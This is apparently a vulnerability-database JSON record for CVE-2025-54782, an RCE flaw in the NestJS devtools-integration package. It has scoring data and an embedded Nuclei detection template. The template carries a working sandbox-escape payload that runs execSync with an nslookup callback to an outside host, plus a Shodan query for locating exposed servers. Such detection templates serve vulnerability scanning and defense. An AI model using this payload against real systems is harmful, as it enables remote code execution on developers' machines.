{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-54782/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-54782/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-54782/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-54782/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-54782/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-54782"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-54782"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.51324,
      "kev": false,
      "percentile": 0.98902
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-54782.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-54782\n\ninfo:\n  name: NestJS DevTools Integration - Remote Code Execution\n  author: nukunga\n  severity: critical\n  description: |\n    Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n  impact: |\n    Malicious websites visited by developers can execute arbitrary code on their local machine through the unprotected /inspector/graph/interact endpoint due to improper sandboxing.\n  remediation: This is fixed in version 0.2.1.\n  reference:\n    - https://socket.dev/blog/nestjs-rce-vuln\n    - https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-54782\n  classification:\n    cvss-metrics: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 9.4\n    cve-id: CVE-2025-54782\n    epss-score: 0.51324\n    epss-percentile: 0.98902\n    cwe-id: CWE-77,CWE-352,CWE-78\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: \"devtools.nestjs.com\"\n  tags: cve,cve2025,nestjs,rce,sandbox,devtool,unauth,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /inspector/graph/interact HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n\n        {\"code\":\"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')}})()\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/plain\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210090fe3db3cbd6bfdd95ec391385377d109d811e671884a8de717d8aec6a83bd88022009c0f1035ca14743d08d01e4654252c9815fee766aa8fbb6837885897ea99220:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-54782"
}